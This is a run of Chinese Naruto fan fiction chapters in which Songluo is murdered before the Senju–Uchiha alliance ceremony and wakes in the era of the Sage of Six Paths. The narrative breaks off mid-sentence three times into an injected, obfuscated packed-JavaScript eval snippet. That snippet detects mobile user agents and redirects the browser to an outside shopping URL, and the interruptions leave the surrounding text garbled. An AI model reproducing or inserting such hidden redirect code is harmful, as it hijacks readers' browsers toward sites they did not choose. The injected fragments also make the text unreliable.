他们是跟尾兽战斗前被送去避难,后来危机解除跟着她去守卫禺黎城的宇智波们,他们和千手的小孩子们一起组成了“临时巡逻队”,她有印象。 他们怎么会在这里? 几日前,她被长老们叫回来的时候,传信而来的青年忍者们顺便替换了“临时巡逻队”,此时应该是回到了自己族中才是。 “你们……” 话还没问完,黑色的物体袭面而来。松萝急忙扭转脖子,但那东西还是割断了她的一缕头发。 好了,这下不用问了,直接动手。 松萝拔出腰间的短刀,挥开暗器,迎上老者不知道从哪摸出来的武士刀,刀锋相交,摩擦出亮白火花,在空中溅射开来。 两人退开再向对方冲锋,猛烈撞击之下刀具均脱了手,近距离之下结印不及,双方同时摸入忍具包,掷出小型手里剑。 老者扔的极准,又削掉了松萝的一缕头发,这下左右各削一缕,对称得很。 她翻身拉开距离,咧开嘴角嘻嘻一笑,双手合十,大喊:“柱间真传·树界……” 对方一惊,将手交叠在胸前做出防御姿势。 松萝继续吐出接下来的字:“…降诞,我使不出来。” 然后一摊手,无辜耸肩。 被耍了的四人眼睛瞬间变红,勾玉流转,火球从四面八方袭来。 松萝跳起来避过,在半空中还未落下就被那个大肚子的女性近身,手里剑尖正对她的脑袋。她眼睛一瞪,从双掌中发射出数条荆棘,缠上对方的手臂,捏紧… 对方露出痛苦的神色,松萝手下一松:“有什么事的话能不能先坐下来谈谈!会不会是有什么误会?” 她真的不想跟挺着肚子的人打架啊! 那位女忍者被荆棘捆住后奋力挣扎,眼看荆棘就要刺破她的衣服,松萝犹豫了一下,就任她挣脱了开去。 接着与四人拉开距离,目光扫了一圈,可惜没有人回应。 正在静滞的此时,另外两个小女孩各摸出一把武士刀,一左一右朝松萝冲来。就像一个信号,四个人同时举着武器冲刺。 她面上显示出苦恼:“这么多人打我一个,不太好吧。” 四人同时进攻的话,她应对从死角里来的攻击总是会慢上一拍。 一不小心身上就挂了彩。 被伤到一次之后,情况就急转直下,四人配合无间的进攻之下将她逼退到了一个角落。 松萝在内心说了一声抱歉,不再留手,一口气召唤出大量巨木,堪比小型树界。 粗壮的树根从地面拔起,像游龙一般带起飓风和利刃,毫不留情地拍打在还没反应过来的四人身上。 在参天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宇智波春奈肚子里的孩子已经快七个月了,她打算买足生活用品,安心在家待产。他们是邻居,看到春奈出门的时候,就结伴一起了。没想到半路突然遇见两个头上长着角的人,按照记忆来看,他们是被控制了。 松萝注意到了这边的动静,看到老者清明的眼神,明白了他已然清醒。于是边打边退,抓准时机割断了绑着宇智波四人的绳子,同时还忍不住数落:“你们宇智波不是最自豪幻术的吗,被人控制了这么久都没发现!” 两个小女孩刚被老者唤醒就听到这句话,立刻就涨红了脸,想反驳却发现不知道从何说起。 没有理会她们的心理活动,松萝重新摆好姿势,对着两个少年挑眉:“这下是六对二了。” 情势逆转,金角银角很默契地跑了。 他们一走,松萝强撑的气势瞬间倒塌,她双腿一软跪在地上,呼出一口气。 那四个宇智波已经站起来,走到她面前。老者还剩一点查克拉,他的手臂在流血,却没有给自己治疗,而是将双手覆盖在了松萝的伤口上,绿光亮起,他为刚才的事情道歉:“对不起,是我们疏忽了。她们不会医疗忍术,我剩下的查克拉不多,只能帮你止血。” 松萝微微一笑,刚要说没关系,余光瞥到挥来的一臂,她推开老者,自己却没来得及躲开。 小女孩们惊呼一声:“春奈姐姐!” 被拳头掼倒在地的松萝呸掉一口血,怒视向女人:“你这是什么意思?” 老者也惊讶:“春奈?难道你刚才没被控制?” 宇智波春奈双眼通红,拔出刀来:“那种程度的幻术还控制不了我。” 接着她又单手摸上自己的肚子,半是温柔半是残忍地自言自语:“别怕,孩子,我要为你父亲报仇了。” 56.第 56 章 她疯了。 宇智波春奈挥舞着长刀而来的时候,松萝心里这样想道。 老者和小女孩追在后面想要拦住她,却无济于事。 松萝从掌心射出藤蔓,挂在树上,将自己吊起,开始在树间穿梭逃跑。 宇智波春奈身上的气势在攀升,她内心的仇恨带给了她力量,双眼越发血红了。 眼看就要被追上的时候,她一头栽下树枝。原来是双脚被藤蔓绑住,吊挂在了树上。 “那可是我踩过的树枝,我留了点东西在上面。” 松萝落到地面,仰头看向女人,将她手脚牢牢捆住后放到地上:“一会儿你的族人们就到了。” 春奈的眼睛瞪得很大,额头上冒出青筋,松萝干脆把她的嘴巴也堵上了,看着她的样子心里也不是很好受。 未经他人苦,莫劝他人善。 大哥说过,他的手上沾满了鲜血,所以他不会阻止别人向他复仇,但他不会束手就擒。 这个乱世的忍者手上没有几个是干净的。但是直面这样赤裸裸的仇恨是会让人恍惚,生出一丝自己是不是真的该死的念头。 恍惚只有一瞬,利刃穿胸而过也只要一瞬。 她从宇智波春奈的眼里看到震惊,恢复黑色的瞳仁里映出染血的长刀从她胸口抽出的画面。 松萝低头,看到胸口涌出汩汩鲜血,晕染了整个胸膛。 有人…偷袭…… 迟来的钝痛吞噬了她的思考能力,被麻痹的身体连痛觉都来的如此之慢。 天旋地转,她无力地倒在地上。 喉间涌上一阵腥气,血色的液体拼命往外挤,下巴和喉咙的界限突然就变得有些模糊的。 谁…… 她瞪大眼,终于看到一个黑乎乎的物体从地底下渗出,像浓稠的酱汁,汇成只有空洞双眼的人形怪物。他甩掉手里的长刀,长刀掉在地面发出“哐啷”的声响。 这是人吗…还是怪物…… “你是,谁…为什么要杀我……” 呼吸变得困难起来,气管像是被堵塞了一样难受,她大张着嘴,很是痛苦。 本以为不会得到回答的,但也许是她即将死亡这件事能给他带来好处,他有些愉快地说:“一切都是为了让他绝望,才能……” 她五指紧抓着身下的衣服,试图集中注意力,可是她的耳朵不太听她使唤,渐渐地只能听到只言片语,再渐渐地就什么也听不清了。 “看到这把刀了吗,只有宇智波内部才有的锻造技术…” “你不会死在这里的…放心,我会吊住你的命…” “…还不够……还要让他再失去…” 她彻底陷入了无边无尽的黑暗与寂静…… * 明明只给她放了半日的假,居然消失了整整一天,要不是因为太忙,千手扉间都想亲自去抓她回来。 她大概只是跟平常一样贪玩,每次你以为她消失的时候,总会带着一个大惊喜活蹦乱跳地出现在你面前。 他这样告诉自己,压下心底的一丝不安。 结盟仪式开始,千手的大长老作为代表宣读了载有盟约的誓书。盟约被事先刻印在青黄色的竹简上,竹简背后刻着团扇状和叉子状的族徽。 新搭建的结盟仪式坛,显得质朴而庄重。两侧矗立着数面绣有族徽的旗帜,在微风中轻轻摇曳。中间的高台上,两支熊熊燃烧的火炬分立两侧。台下,两族精英整齐排列,泾渭分明,无声地注视着台上的两人的交接——宇智波的族长接过了誓书,并将竹简的一角递给了身侧的千手柱间。 两人各执竹简的一边,空闲的双手交握,以示和解。 斑看着誓书,想起之前胡闹签过的那份“和解书”,还没来得及将它毁尸灭迹,这次倒是真正的和解了。抬眼对视之时,眼前之人也微微一笑,似乎是想起了同样的事情。 接着,他们转向火坛,两面巨大的族旗迎风飘扬,接过族人递来的两碗酒,洒在火坛边缘。 “往兮狐羊仇,从今同袍义。神灵有知,允当罚殛。”[注] 白酒洒落在火坛边缘,红色的火焰顿时被浇灭不少,下一秒又重新发出光亮,越燃越盛。 台下的观礼之人神情越发柔和,不自觉地向中间靠拢了些。原来泾渭分明的两支队伍交融在了一起,不分你我。 千手柱间嘴角刚要弯起,却听见不自然的爆裂声。火光愈盛,迸发出星星火点,向外飞溅,下一秒,火坛四分五裂,燃烧的陶土碎片向四周溅射而去。 “小心!” 同时,一米的高台四分五裂。两人落到地面,看到高台废墟下的土地当中裂开一条深缝,黑色的裂缝让人提起了戒备。 所有人都紧盯着,以为要从里面跳出什么东西的时候,无人注意的半空砸下一个物体,落入裂缝。 落下的时间虽然只有一瞬,但是人们还是看清了——那是一具女性的尸体。 半数的人认识她的脸。 半数的人认识她身上插着的刀。 寂静蔓延。 身量不过一米六的少女躺在裂缝中,四肢因为空间狭小被挤压成奇怪的姿势,红褐色的痕迹自她胸口蔓延开来,像一朵血色的花盛开一般。 她嘴角的弧度是微微上扬的,但就好像硬要挤出一个笑容来一样不自然。 柱间不敢置信地将人抱出来,双手飞快地在她头、颈、胸上掠过,然而触到的已经冰凉不会再跳动的身体。 他双手亮起绿色的光芒,疯了一样将全身的查克拉灌注进去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149406|145105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,绿光瞬间扩大,笼罩了少女整个身体,莹莹的绿光照亮了她的笑脸,给人一种下一秒她就能睁开眼的错觉。 然而都是徒劳。 她死了。 就像瓦间、板间、父亲一样,变成了冰冷的不会再动的尸体。 他哭不出来,甚至不知道该用什么表情面对松萝的死亡。 好像他过去做的一切为了和平的努力都成了笑话。当他想保护的人不在时,那么这一切还有什么意义呢? 见柱间渐渐收拢了绿光,明白了什么的宇智波斑身体晃了晃,他自动激发的写轮眼告诉他躺着的人已经没了任何生气,但是他还是抱着一丝希望。直到,柱间收回了手。 怎么会这样,前天她还得意地拿着一沓同意书放到他桌前,说着“本城主出马,小菜一碟的话语”,怎么会呢? 他还没有好好跟她说话,他们已经可以不用再对立了,他明明可以不用再顾忌了…… 都是假的,这一切都是假的,眼前的一切是假的,这个世界也是假的。 唯一的真已经不在了。 唯一的真… 他颤抖地伸出手,想要触碰那唯一的真实。跪在松萝身边一直一动不动的柱间却突然回头,充满杀意的眼神紧紧盯住他。 “别碰她!” 斑却好像没有听到一般,轻轻抚上了她的手。 她说需要一副手套,于是他找到了神树残骸,为她做了一副。可是没有送她的机会了。 拳风自右边袭来,柱间突然向他发难,凶狠的招式和表情,就像一头真正的野兽。 两人一言不发地交起手来,没有用武器,没有用忍术,单纯地用身体互相殴打。 原本融洽的氛围突然变得剑拔弩张,几乎交融的两族队伍重新分开,压抑的气氛仿佛回到了战场。 不少人理智尚存,冲上去拉架。 “族长,快住手!这是阴谋!这刀虽然看着像是……但是肯定是假的,是要破坏我们跟宇智波的同盟关系的阴谋啊!” 柱间痛苦地吼了一声,他当然知道!可是如果现在不做些什么,他没有办法原谅那个不在她身边的自己! “喂,那不是春奈的刀吗?她一直想为她丈夫向千手复仇!”人群中,不知是谁喊了一声,交手的两人不约而同停下了动作,再去看时,却找不到声音的来源了。 另外有人开口:“我昨天早上看到她出门了。” 斑瞬移到说这句话的人身前,双目通红,气势摄人:“她在哪里?回答我!” “我,我不知道……但是我看到住她隔壁的雨和琳俩姐妹也跟她一起出门了,好像没看到她们回来……” 气氛再次降到冰点之时,一个声音格外清脆。 “是我。” 57.第 57 章 “是我。” 人群为这句声音的主人让出一条路来。 面色惨白的女性满身泥泞,深蓝色的长袍下摆沾满了灰白的土块,微卷的长发凌乱地贴在脸侧。她深一脚浅一脚地走到废墟边上。 “是我的刀。” 千手桃华站出来,语气仍旧礼貌,手却附在了腰侧的武器袋,大有一言不合就要动手的意思:“宇智波春奈,你的刀是否是丢失了?” 宇智波春奈没有立刻回答,她回想起了昨天下午,那突如其来的一刀,鲜血溅到她脸上时的温热—— 那黑色人型怪物背刺了千手松萝之后拿起刀转向她,沙哑粗砺的声音像破了的风琴: “对了,还得把几个尾巴灭口了才行。” “唔唔唔唔” 宇智波春奈挣扎起来,她还不能死,她还有孩子。 就在刀锋挥下,只剩一掌的距离时,黑色怪物忽然放弃动作,扔下刀,眨眼间化成一滩黑泥流入地缝。 ??定睛一看,它原本所在的位置地上插满了木头尖刺。 ?绑在身上的藤绳一松,?宇智波春奈重获自由,看向倒在地上的人——她覆面朝地,手指微动,身体却没有动弹的迹象。 这里只有两个人,刚才谁救了她不言而喻。 她紧咬下唇,背身离去。 她本来有一个青梅竹马的爱人,即使在战火连天的日子里,父母双亡的他们靠着互相扶持也都一路撑了过来。每一次出生入死,他们都在一起。 有时候会觉得死亡也没什么大不了,只要他们俩是在一起的就没什么可怕的。 上一次战争之前,他抱着吐得死去活来自己说:“等我这次回来,我就向族长申请从前线退下来,我帮你教训这个让你这么难受的小子!” 当时她摸着还未隆起的小腹嗔怪:“要是个女孩子,你还舍得下手嘛!” 宇智波春奈停下脚步,回头看向倒在血泊中的千手,那么重的伤,即使及时救治也不一定能活下去。 一步,她是自己的复仇对象,没必要管。 两步,那个怪物不知道躲哪里去了,说不定会趁自己搭救的时候跳出来。 三步,大家都知道,就是这个人促成了宇智波和千手的联手,有人视她为英雄,有人视她为傻子。春奈恨她,为什么不早几个月?只要没有那场战争,她的人生就不会像现在这样每一天都在噩梦中。 四步,她背起千手松萝,布满阴霾的面上充斥着仇恨与不甘。 她可以向千手复仇,但是那个不知名的黑漆漆凭什么?她可以迁怒,但绝不能给别人做嫁衣。 “还活着吗,死了的话就吱一声,我就把你扔这里了。” 死人怎么吱声。松萝要是还有意识,一定会这么吐槽。 春奈背着人开始了逃亡,如她所料,黑色怪物并未逃走,而是躲在暗处,抓到她松懈的机会就给她来那么一下。 渐渐地,身上就挂了许多彩。 额头的汗珠织成了密网,汇在一起滴落到眼睫毛上,她吃力地掂了掂背上的人,听到了族人的呼唤声,遥远但真切。 “我在这里。”细若蚊声。 ——回到现在,宇智波春奈面无表情,她还是没坚持到跟族人汇合就失去了意识。 “不是我做的。” 她今早苏醒之后就询问了千手松萝的去向,还回到原地搜寻了一遍,一无所获。最终不知怎么的想起了今天的结盟仪式,就来到了这里。 啊,原来是这样吗。 千手看她的目光都充满了不善,真有人在此时冲上来给她一拳也不足为奇。 将好不容易到手的和平亲手撕毁,让每个人都尝到跟她一样的痛苦——她是疯狂,但还没失去理智到这个地步。 “不是我做的。”她重复一遍,并将昨天发生的事情一五一十地说了一遍。 听到她确实有杀人的念头的时候,明显感觉到场上压抑了许多。直到她描述出那个黑色怪物,这股摄人的压力才消减了。但也有人因此质疑她: “什么怪物,还能化成黑泥钻入地下,这该不会是你为了推脱编出来的吧?” “就是,金角和银角是雷之国的人,并没有收到任何关于他们入境的情报,你该不会是为了报仇自导自演了一出戏吧?” “够了!”浑厚的声音穿透全场,一股带着暴虐和威压的查克拉伴随着声音笼罩全场。 千手柱间面色阴沉,但语句铿锵有力:“我相信她。” 她描述的那个黑色怪物,就是前阵子从他的封印结界中消失的怪物。没有研究清楚黑漆漆,还大意让它逃了,造成这样的局面,有他和扉间的过错在内。 族长发言,无人再置喙。 千手大长老瞄了眼脸色惨白,魂不守舍的扉间,暗叹一声,上前主持大局,宣布仪式结束 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14157463|145105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,让大家先散了。 从小跟松萝一起玩的千手桃华和千手弥实还想留下来,却也被劝了回去:“给那几个人一点空间吧。” 给那俩兄弟,还有……大长老摇摇头,就当什么都没看见,也离开了。 周围一下子安静了。柱间将人放到平坦的地上,衣物摩擦的声音清晰可闻。 为松萝整理衣服,清理脏污的时候,忽然,异变发生了。 一张沾染了血迹的符纸夹在黑色作战服和小衣之间,发出绿色的微光。 他从未见过这样的东西,上面的图案更是闻所未闻,但环环相扣很是玄妙,让他不敢轻举妄动。 “扉间,过来看。” 他唤了三声,角落里一直没出过声的人才缓缓转身,一起观察起那张可疑的符来。 “这是什么,松萝将它贴身放着,应该是什么重要的……”柱间话还没说完,符纸突然绿光大盛,将躺着的人从头到脚笼罩了进去,形成了一个巨大的“鹅卵”。 被刺目的光逼得眯眼之际,鹅卵上的光幕晃动几下,像是能量不足时的波纹在其上忽闪忽现。符纸闪烁几下,突然传出一股巨大的吸力,转瞬间将鹅卵和其中的人吸了进去,愕然出手的千手兄弟因为惯性扑到在地,一人攥着衣服,一人攥着一把黑发,俱被这变故吓的愣在了原地。 绿光紧接着消失,符纸褪成了惨淡的白色,从半空中飘扬而下,柱间忍不住伸出双手,以一个虔诚的姿态,半跪着去接符纸。 一连三声“噗噗噗”和白色烟雾的出现带动气流,将符纸吹远,划过大掌边缘,掉落在地上。 突然逆通灵出现的一人两蛙还搞不清楚落地点情况似的,唧唧呱呱一阵吵闹。 “大□□仙人搞什么啊,把给人的救命符错拿成了传送符,果然是老年痴呆了吧!” “小子无礼!不准这么说大□□仙人!” “仙人大人这不是发现了,让我们重新送过来嘛。” “隔了两个月才发现,这不是老年痴呆是什么啊!” “你是不知道□□丸大人的伟大才会这么说的,这可是教导过六道仙人的大□□……” “停停停,都听了几百遍了,能不能换点别的。” 烟雾散去,肩上挂着两只小□□的漩涡奚山的身影逐渐清晰起来,见到熟悉的人,觉得自己的落地点正正好,热切地打招呼说:“嘿,大哥,二哥,松萝呢?” 58.第 58 章 松萝从噩梦中醒来,恰好布帘被掀开,透进来的阳光洒到她脑门上,刺目的光线让她逐渐恢复了意识。 有人逆光走来,迷瞪间她仿佛看到了熟悉的温暖又爽朗的笑容。 “你醒啦?” 可惜声音不对。 进来的是一个穿着白衣服的微胖中年妇女,头发用布巾包裹着,圆圆的脸庞和爽朗的笑容,很容易让人生出亲近感。 松萝缓过神来,不敢置信地摸上自己的胸口。这里不是被贯穿了吗,为什么一点也不痛? “怎么了,还有哪里不舒服吗?” 床,也许不能称之为床,有点像土炕,身下只有一层灰褥子,能清楚地感受到坑洼不平带来的硌人感受。 中年妇女进来的时候端了一个铜盆,放到桌案上,脸上带了担忧。 松萝坐起身,看着四周简陋的草棚顶和土墙,有点懵,这是哪儿? “好奇怪,一点也不疼,我甚至觉得精神很好?” 女人听到此处笑了起来,好像想起了什么值得自豪的事情:“那当然,那位大人多停留了几日,把你治好才离开的。” “那位大人?” “对!那位大人!真的是很让人尊敬呢!不但长得帅气,能力也强,他会很多高深的术法,喷火、飞天、变东西,什么都会!” 术法?戏法?忍术? “我们困扰了很久的事情,他一个人一天就搞定了,你说厉不厉害!没有一个人不服他的,可惜他走了之后就乱了,唉,乱得很,”她指指空着的铜盆,“混账家伙仗着自己力气大,我想去打盆烧饭的水都不让,真以为是他们的东西了吗。我就昨天剩下的俩冷鸡蛋了,诺,给你一个,” 女主人打开了话匣子,她早就想痛骂了,只是不敢在外面议论。 松萝选择离开硌人的床,做到桌案边,近距离听她讲述。 她剥着女主人送她的煮鸡蛋,想着找机会报一下救命之恩,认真地问:“这里是发生什么事了吗?” 女主人脸上带着愁绪:“这要从一年前的事情说起…有个年轻人突然到了我们的村子帮我们打了水井,啊,在这之前,村子的水源全都来自一棵大树。” 松萝:“嗯,这个年轻人就是那位大人吧。” 她继续说:“问题就出在这之后。挖出水源那天,大人本来就要离开了,有人捡到了没气儿的你倒在村口,大人这才多留了几日将你治好才走……真的是神了!我们都以为是个尸体!噢,抱歉,我没有咒你的意思,就是你那个样子,衣服破破烂烂的,又脏又臭,而且胸口一个大洞,我们都以为你……没想到大人就是厉害啊!” 确实挺厉害的,她刚醒来时察看了一下,身上的伤口都不见了,好像做梦一样。还是说她又穿越了,顺带帮她修复了身体? 说起来这房子也有点过于破旧了,真的还有人用这种黄土砌墙吗? 松萝思绪乱飞的时候,中年妇女继续讲述: “……这个井,起初大家都很高兴,就算每次要排很长的队打水也没有人有怨言。但是有一天,有几个年轻男人,这么说都是夸他们了,本来就是几个赖子,不好好耕地,总做些偷鸡摸狗的事情,这次将井围了起来,并宣称是他们的井,想打水就要交钱。 “井的位置是在他们老子的的田地里,说这应当是他们的私井,我们肯定当然不同意啊!就有村民跟他们吵架,吵到一半互相推搡了起来,就有人磕破了脑袋……第二天那几个赖子为了报复往井里扔了些垃圾,又动起了手…… “再后来,还有偷偷打超出份额的水量的人,还有挖地道想通到自己家的人,越来越多的人想将井占为己有,表面上就两队人在争,其实不知道有多少自私的人呢。真是的,大家一起用不好吗,吵什么吵,我家那位也差点被殃及到过,造孽啊……” 松萝将最后一块蛋黄咽下去,打断女主人的抱怨:“村长不管吗?” “村长早两年前就没了,如果他还在的话就不会是现在这副样子了……”女主人叹了口气,显然也是很头疼。 虽然很同情他们,也想帮忙,但松萝现在只想先回家一趟。 松萝撑着身子站起来,身上是一套灰色女性旧衣,还挺合身:“抱歉,我家人可能会担心我,我想回去一趟再回来感谢你。” 女人点点头表示理解,遂问她是哪里人。 松萝想了想:“火之国的南贺城。” “没听过的地方呢,火之国是一个国家吗,大吗?我家那位早年也跑过商,从来没提过什么火之国,那一定是很远的地方吧。” 松萝惊讶:“那风之国呢,不然雷之国,五大国总有一个听过吧?” 女人疑惑的表情让松萝逐渐意识到了事情的不对劲,她沉默了一会儿问: “你听说过忍者吗?” …… * 午后,松萝在村子里转了一圈,村子约有一百五十户,井的位置还算靠近中央,周围修了木围篱,她想要凑近井时被几个凶神恶煞的男人瞪了几眼,只得作罢。 松萝回到借住的农户家中,双手撑地,倒立靠在墙上。 “要不要管这闲事呢……” 她询问了几个村民都不知道火之国,甚至不知道什么是忍者。 也许是因为这里太偏僻导致消息闭塞,她觉得“那位大人”应该知道的更多一些,听上去,他就像是一个忍者。 这个村子已经没有了久留的理由,她应该尽早离开。 但是离开之前她得帮照顾她的女主人解决打水的问题。 村子的问题不是水井的管理和分配,而是缺少一个首领,村长之位空缺了两年,才会使内部分裂越来越严重的。这个时候,就算选出一位新村长,恐怕也不能让所有人信服…… “真是麻烦啊。” 她翻身落地,拉了拉衣摆,轻巧地从窗口翻了出去。 …… 第二天她是被外面嘈杂的声音吵醒的,她打着哈欠走向人多的地方问: “干什么一大早这么吵?” 村民们回头,见是不认识的外乡人,纷纷退开不愿回答她的问题。 松萝抬起的手一滞:…… 还好借住家的女主人眼尖看到了松萝,拉过她解释:“看到插在那边的木牌了吗?” 松萝扭扭脖子,看到水井边七零八落的围篱中间竖着一个高高的木牌。 “看到了,木牌怎么了吗?” 女主人压低声音说:“其实昨晚,有偷水贼!不但把守卫们都打倒了,还留了字在木牌上,说他今晚还要来,是不是很嚣张?” 松萝点头:“嚣张,太嚣张了。然后呢?” “现 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约莫半个月后,女主人突然神秘兮兮地凑到她身边——她挺喜欢跟这个借住她家的漂亮少女分享各种八卦和小道消息的——对松萝说:“我听说,之前为了水井争得最凶的两群人准备合作抓贼了,今天我还第一次看到他们两队人没拿武器,聚在一起说话呢……” 松萝认真地听她说完,最后开口道:“那我也差不多该告辞了。” 机会已经创造好了,剩下的就看他们自己了,她不是这个村子的保姆,也该继续自己的旅程了。 * 松萝决定离开村子的那一天晚上,地震一般的轰鸣声从远方源源不断地传来。 她站在悬崖边望去,蓝色红色的光芒时隐时现,夹带着白色烟尘,就好像是谁在交战。 想了想,她决定去往那个疑似忍者交战的地方。 本来是想找“那位大人”的,但是村民言语含糊,没有一个人能准确说出他去哪儿了,顶多得到了“忍宗”“因陀罗”这样的几个关键词。 总比像无头苍蝇乱转的好。 一个人的旅程有点枯燥,但是也有神奇的遭遇让一个人的旅途没有那么无聊。 比如一些很香的“邂逅”。 对象甚至不是人,而是巨树的残骸。 人们说那曾经是“神树”,也有人称它为“邪树”。不是很清楚个中缘由,但不妨碍松萝被它的香味馋到。 这要从旅途中找水喝说起。 她找到了河流,但是水呈现出奇怪的亮绿色,里面还漂浮着绿色的絮团。奇妙的是这水很香,深入骨髓的香味,吸了一口更想吸。 但越是这样,她越不敢喝。 直到她循着香味,找到了源头——巨大的、绿色的断裂树干倒在河流中间,绿色的树汁从断裂口缓缓流出,使下游的水呈现出跟上游完全不一样的颜色。 好香。 等松萝反应过来的时候,眼前只剩下皲裂的树皮和空洞的树干,以及透明的水流。 她把它“吃”掉了。 跟十全大补丸一样,她从未感受到这么精力充沛,赶路都不需要任何休息了,完全感受不到疲劳。 有了一就有二和三,前往交战地的路上“偶遇”的另外两处巨树残骸她干脆也用这种方式“吃”掉了,头顶的小撮白发不知不觉间变回了黑色。 “好补。” 她对这个结果非常满意。 但有人对此感到了担忧。 59.第 59 章 忍宗之村。 一只红皮□□从水坛探出头来,接着是脖子,是手,最粗的腰部正好卡着坛口边缘,它推着坛子,艰难地将自己“拔”出去,嘴里还念叨着:“差不多也该换个出口了……” 红皮□□脖子上串着一个刻着“油”的水晶珠子,一蹦一蹦地进了屋子。 “哟,兄弟。” 它对着屋子里盘坐的人打了个招呼,找到坐垫自如地坐下。 对面的人已是中年,脸上有明显的皱纹,长须过胸,不同于常人的是额上有两个角,眉心还有一个红色的漩涡图案。他睁开眼时,眼睛被淡紫色的圈纹占据,带有不同一般的魄力。 他建立了忍宗,也是因陀罗和阿修罗的父亲——大筒木羽衣,被后世尊为六道仙人。 羽衣摸着自己的长须,一脸深思:“听说最近有人在四处吸收神树的力量?我能感觉到神树残骸在渐渐消失。” □□丸端起酒碗喝了一口,才回答:“那小姑娘啊,我见过一次,不像是个坏孩子。你的儿子去的村子的后续问题,她也帮忙了哦。” 羽衣听到这打断它:“我应该说过不要在儿子们的试炼中做多余的事情的。” “我知道,我只是旁观而已,”□□丸还暗自跟过她一段时间,“再说那是试炼之后吧,还不是因为……没有完全解决所以才引发了争吵,要我说,你还应该感谢她才是,不然得派人在跑一趟。” “嗯……”大筒木羽衣还是面带愁容,跟神树有关的事情,他注定不能简单放下,“还是要见一见那孩子才好。你有办法吗?” □□丸点头:“我让小□□跟着她呢,我会帮你传达的,那孩子看上去挺通情达理的,应当不会拒绝。” “如果是那样就好了……” …… 一日后,赶路的千手松萝收到了来自忍宗的邀请,准确的说是来自六道仙人的。 六,道,仙,人。 天知道这四个字给她带来多大冲击。那分明是千年前的古人啊!难道不是传说吗! 受邀请的地方还跟她的目的地是同一个,真的好巧啊,哈哈。 “是真的六道仙人吗?” 她甩着送信的小□□问了十几遍,可怜的后者差点口吐白沫。 她终是决定去看看,万一呢? 抱着这样的想法她踏进了忍宗之村。 忍宗之村确实比其他地方要富庶一些,农田更肥沃,建筑更坚固,但是路边的残骸废墟却无法令人忽视。 就像是被怪兽肆虐了一场。 “欢迎来到忍宗。” 为她领路的是六道仙人的大弟子双海,穿着白色的长袍,注意到松萝的视线,他面带歉意地说:“抱歉,让你看到这么难看的一面,其实这里几天前才刚经历了一场大战。” 战争吗? 对方似乎没有继续解释的意思,她便也不再多问。 没多时,就到了一个道场一样的地方,拳脚相交的搏击声隐隐约约传来。 双海领着松萝走进了道场,两个同样穿白袍的年轻男人正在交手,与其说是认真比试,喂招的成分更多一点。 其中一人更是不专心地瞥了一眼进来的人,下一秒侧脸就被挨了一拳,狼狈地坐到了地上。 另一个人也没料到自己这一拳效果这么强,立刻伸出手要扶他:“抱歉,阿修罗大人!” 阿修罗借力起身,一笑:“不,是我自己的错。” 他转向刚刚走进来的两个人的方向,视线越过双海叔叔的肩膀,眼里染上好奇,张嘴道: “双海叔,这是……” “你来了。” 大筒木羽衣的声音盖过了他的。 松萝没漏听那个被打倒的人的声音,友好回望,但脚步未停,直接走到“六道仙人”面前。 “今天的训练就到此为止吧。” 一阵脚步声后,道场里很快就只剩下了六道仙人和松萝两个人。 大筒木羽衣先开口:“抱歉啊,为了配合我任性的调查,让你特意来这一趟。” 他长得就像一个普通的上了年纪的大叔,除去那对角和淡紫的轮回眼的话。长长的胡须令她想起漩涡一族的族长,也不知道他们平常会不会洗胡须,打满泡泡的样子应该挺没威严的。 “您真的是六道仙人吗?”问出这句话的时候其实她内心已经有了答案。 内敛、威严、稳重、可靠,他身上传来的压迫感不假,一路走来的风景也与她的一贯的认知不符——落后、贫穷,是真正的古时代。 “嗯…”大筒木羽衣捋了捋长须,沉吟片刻,“那是世人给我的称呼,老夫的名字是大筒木羽衣,你也可以跟忍宗的人一样叫我宗师。□□丸或许已经跟你提过了,那么我再次问一遍,为什么你要收集神树的力量?” “它对我很有吸引力,很香,于是我就吸收了”,松萝停顿一会儿,咬了咬下唇,鼓起勇气说出了自己的秘密和请求:“宗师,其实我…不是这个时代的人!” 如果还有可能让她跟亲友们重聚的话,除了眼前这个人还有谁能办到呢! 她坚定地说:“我来自千年之后的世界,那天,我本以为自己要死了…这里被贯穿了…但是我却在这个时代醒来并且被人治好了伤。六道……宗师,您有没有办法让我回到原来的时代?” “等一等,”饶是见多识广的大筒木羽衣,也从未听闻过此等离奇之事,他头疼地单手抵住了额角按压了几下,“……先是你吸收神树残骸的查克拉的事情,身体方面没有出现异样吗? “变得更健康了,算吗?” 大筒木羽衣无语一瞬,然后伸出双掌朝向对方:“……嗯……能让我查看一下你体内的状况吗?” 松萝从善如流,双手与之相对,闭上眼之时,一股暖流从掌心传递过来,轻柔地拂过手臂,脸颊,脖子,到达心房…… “唔!”大筒木羽衣发出一声低呼,相较于对方的平静,他都脸色肉眼可见得变得苍白。 他睁开眼,想要撤回双手和查克拉,掌心处却好像有一股巨大的吸力一般,非但不许他撤回,反而在源源不断地吸取他的力量… “喂!醒醒!” 他的额头冒出冷汗来,脱力感越来越严重,对方像陷入什么状态,怎么也叫不醒。 ——这可真是,搞砸了啊。 